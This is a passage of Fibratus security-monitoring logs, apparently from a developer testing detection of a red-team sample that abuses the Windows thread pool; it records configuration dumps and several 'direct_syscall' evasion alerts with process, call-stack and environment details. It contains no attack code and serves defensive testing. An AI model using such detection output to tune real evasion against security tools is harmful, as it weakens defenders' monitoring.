healthcheck-timeout=>5s index-name=>fibratus] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus passive=>false exchange-type=>topic durable=>false routing-key=>fibratus vhost=>/ enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + enabled=>true format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false skip-allocs=>false scan-timeout=>10s skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-files=>false skip-mmaps=>false excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-23T18:44:15+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:44:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-23T18:44:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-23T18:44:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-23T18:44:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T15:59:31+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T15:59:31+01:00 level=info msg=bootstrapping with pid 9744. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T15:59:31+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ buffer-size=>512 flush-interval=>1s enable-audit-api=>true enable-mem=>false enable-image=>true enable-dns=>false min-buffers=>16 enable-net=>true enable-fileio=>true enable-thread=>true enable-vamap=>true enable-handle=>false enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-registry=>true max-buffers=>36 stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-backups=>15 max-size=>100 max-age=>0 level=>info log-stdout=>true formatter=>text] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck=>true flush-period=>1s timeout=>5s healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s index-name=>fibratus sniff=>false bulk-workers=>1 gzip-compression=>false trace-log=>false template-name=>fibratus] http=>[ enabled=>false serializer=>json timeout=>5s method=>POST endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false] amqp=>[ passive=>false timeout=>5s enabled=>false tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 exchange-type=>topic durable=>false exchange=>fibratus routing-key=>fibratus vhost=>/] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false excluded-procs=>[] excluded-files=>[] skip-mmaps=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false scan-timeout=>10s fastscan=>true skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-24T15:59:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T15:59:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:01:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-24T16:01:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:01:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-24T16:01:19+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-24T16:01:19+01:00 level=info msg=bootstrapping with pid 7120. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-24T16:01:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ content-type=>text/html port=>25 to=>[] use-template=>true enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-registry=>true max-buffers=>36 enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-net=>true min-buffers=>16 enable-thread=>true enable-threadpool=>true buffer-size=>512 enable-dns=>false enable-fileio=>true enable-image=>true stack-enrichment=>true flush-interval=>1s enable-mem=>false enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info formatter=>text max-size=>100 max-backups=>15 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ tls-insecure-skip-verify=>false exchange=>fibratus durable=>false exchange-type=>topic enabled=>false delivery-mode=>transient timeout=>5s vhost=>/ passive=>false routing-key=>fibratus url=>amqp://localhost:5672] elasticsearch=>[ trace-log=>false enabled=>false index-name=>fibratus healthcheck=>true gzip-compression=>false timeout=>5s bulk-workers=>1 sniff=>false healthcheck-interval=>10s flush-period=>1s template-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s] http=>[ enable-gzip=>false method=>POST serializer=>json timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-allocs=>false skip-registry=>false enabled=>false skip-mmaps=>false fastscan=>true excluded-procs=>[] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-24T16:01:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:01:22+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-24T16:01:34+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 78224 + Pid: 16536 + Tid: 16772 + Type: SubmitThreadpoolWork + CPU: 3 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:01:33.7708491 +0100 CET + Params: callback➜ 7ff7ca3e1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 2453e9b1a80, subprocess_tag➜ 0, task_id➜ 2453e9c3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 16536 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:1ac3e6d4-3a08-4fad-b7a0-1c3cc07a4f62 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0x7ff7ca3e10a6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff7ca3e12b8 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:07:47+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 256272 + Pid: 8824 + Tid: 15084 + Type: SubmitThreadpoolWork + CPU: 1 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:07:46.9844048 +0100 CET + Params: callback➜ 7ff668ca1000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 24c89d91a80, subprocess_tag➜ 0, task_id➜ 24c89da3aa8 + Metadata: evasions: [direct_syscall] + + Pid: 8824 + Ppid: 17152 + Name: main.exe + Cmdline: + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: + SID: + Integrity level: HIGH + Username: + Domain: + Args: [] + Session ID: 0 + Envs: map[] + + ] and callstack [0x7ff668ca10c6 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7ff668ca12d8 C:\Fibratus\redteam\threadpool-abuse\main.exe!?|0x7fff6941e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7fff6984c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-11-24T16:10:28+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 302978 + Pid: 16056 + Tid: 8184 + Type: SubmitThreadpoolWork + CPU: 5 + Name: SubmitThreadpoolWork + Category: threadpool + Description: Enqueues the work item to the thread pool + Host: archrabbit + Timestamp: 2025-11-24 16:10:28.0364637 +0100 CET + Params: callback➜ 7ff65a091000, callback_module➜ C:\Fibratus\redteam\threadpool-abuse\main.exe, context➜ 0, pool_id➜ 1f263f31a80, subprocess_tag➜ 0, task_id➜ 1f263f43aa8 + Metadata: evasions: [direct_syscall] + + Pid: 16056 + Ppid: 17152 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\threadpool-abuse\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\threadpool-abuse\main.exe + Cwd: C:\Fibratus\redteam\threadpool-abuse\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\threadpool-abuse\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} 